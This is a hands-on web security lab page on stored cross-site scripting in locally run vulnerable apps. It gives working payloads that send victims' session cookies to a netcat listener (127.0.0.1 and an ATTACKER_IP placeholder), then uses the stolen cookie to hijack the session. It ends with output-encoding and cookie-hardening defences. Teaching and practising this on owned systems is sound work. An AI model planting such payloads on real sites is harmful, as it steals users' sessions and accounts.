← All labs
MediumWeb Exploitation ~25 min

Stored XSS Cookie Stealer

Plant a stored XSS payload that exfiltrates a victim's session cookie to your listener - then fix it with output encoding.

↳ Based on the lesson: Cross-Site Scripting (XSS)

Legal Use Only

Cross-site scripting attacks must only be tested on applications you own or have explicit written authorization to test. Cookie theft against real users is illegal under computer fraud laws in virtually every jurisdiction. This lab runs entirely on your own VM with no real users involved.

The comment box saves what you type and shows it to every visitor. You're going to make it do something the developer never intended.

Scenario

You're testing a vulnerable blog application running on your lab VM. The "Leave a comment" feature stores user input in the database and renders it back to every subsequent visitor without any encoding. Your goal is to plant a JavaScript payload that silently exfiltrates each victim's session cookie to a listener you control - then harden the field so it can't happen again.

Setup:

# Option A: DVWA via Docker
$ docker run -d -p 8080:80 vulnerables/web-dvwa
# Navigate to http://localhost:8080, set security to Low
# Go to XSS (Stored) in the left menu
 
# Option B: OWASP Juice Shop
$ docker run -d -p 3000:3000 bkimminich/juice-shop
# Product reviews are a stored XSS vector
 
# Option C: WebGoat
$ docker run -d -p 8080:8080 webgoat/goat-and-wolf

Your Objective

  1. Confirm the comment field reflects unsanitized HTML
  2. Plant a stored XSS payload that exfiltrates document.cookie to a listener you control
  3. Receive the stolen cookie at your listener (netcat or a webhook)
  4. Use the stolen cookie to hijack the session (demonstrate the impact)
  5. Fix the vulnerability by applying output encoding

Hints

Hint 1 - confirm HTML injection first

Before JavaScript, try a simpler payload to confirm HTML injection: submit alert(1) wrapped in script tags. If an alert box appears when you (or any visitor) views the page, JavaScript executes in the context of the application's origin.

Hint 2 - cookie exfil via image src

Browsers eagerly load image tags. An img tag whose src points to your server with the cookie appended as a query parameter will cause the victim's browser to fire an HTTP GET to your listener - carrying the cookie in the URL. No user interaction needed beyond page load.

Hint 3 - netcat as a minimal listener

You don't need a full web server. nc -lvnp 8888 listens on port 8888 and prints every raw HTTP request that arrives. The cookie will appear in the GET line. On the same Kali VM, use 127.0.0.1 as your listener IP. In a multi-VM setup, use your Kali IP visible from the target VM.

Walkthrough

Step 1: Confirm reflected HTML in the comment field

In the DVWA Stored XSS page, submit this as a comment (the Name field often has a length limit - use browser DevTools to raise maxlength first):

<b>hello world</b>

If the comment renders as hello world (bold) instead of showing the literal angle brackets, HTML injection is confirmed. The application is not encoding output.

Now confirm JavaScript execution:

<script>alert(document.domain)</script>

An alert showing localhost (or the app domain) confirms stored XSS. The payload executes in the app's origin, meaning it can access cookies set for that domain.

Step 2: Start a cookie listener

Open a second terminal and start netcat:

kali@vr4cs: ~
 

Your listener IP (for a single-VM lab) is 127.0.0.1. For a multi-VM lab, find your Kali IP on the lab network:

kali@vr4cs: ~
 
Step 3: Plant the stored XSS payload

Submit the following as the comment body. Replace 127.0.0.1 with your listener IP if running a multi-VM setup:

<script>
  new Image().src = 'http://127.0.0.1:8888/steal?c=' + encodeURIComponent(document.cookie);
</script>

This creates an invisible Image object. The browser immediately attempts to load its src - firing an HTTP GET to your netcat listener with the victim's cookies URL-encoded in the query string.

After submitting, reload the page (simulating a victim visiting):

Step 4: Receive the stolen cookie

Back in your netcat terminal you should see the incoming request:

kali@vr4cs: ~
 

URL-decode the c= value to read the raw cookie string:

kali@vr4cs: ~
 
Step 5: Hijack the session with the stolen cookie

Use curl with the stolen cookie to make an authenticated request as the victim:

kali@vr4cs: ~
 

Or set the cookie in your browser (DevTools → Application → Cookies → edit PHPSESSID value) and reload - you are now authenticated as the victim without ever knowing their password.

Solution

Core exfil payload:

<script>new Image().src='http://ATTACKER_IP:8888/?c='+encodeURIComponent(document.cookie)</script>

Why it works: The browser executes the stored script in the origin of the vulnerable application. document.cookie returns all non-HttpOnly cookies for that origin. The Image trick triggers a cross-origin GET request (which browsers allow for images), carrying the cookie value to the attacker's server in the URL. Netcat prints every raw byte of the request - no server software needed.

Why the attack is persistent: The payload is stored in the database. Every user who views the comment page triggers the exfiltration - the attacker doesn't need to be present.

Defend It

The fix: output encoding

XSS is prevented by treating all user-supplied content as data, never as markup. Encode HTML special characters before inserting content into an HTML context.

PHP - output encoding:

# Vulnerable - raw echo into HTML:
# echo $comment;
 
# Safe - HTML-encode before output:
# echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');

Characters that must be encoded in HTML context:

RawEncoded
less than&lt;
greater than&gt;
"&quot;
'&#x27;
&&amp;

Additional hardening layers:

  • HttpOnly cookie flag - prevents JavaScript from reading document.cookie entirely. Even if XSS fires, the cookie is inaccessible. Set with Set-Cookie: PHPSESSID=...; HttpOnly; Secure; SameSite=Strict.
  • Content-Security-Policy header - Content-Security-Policy: default-src 'self' blocks inline scripts and prevents loading resources from external origins.
  • Input validation - reject or strip HTML tags on input as a defence-in-depth measure, but never rely on this alone (output encoding is the primary control).
  • Sanitization libraries - for rich-text fields where HTML must be allowed, use a battle-tested library (DOMPurify in JS, HTML Purifier in PHP) rather than writing your own allowlist.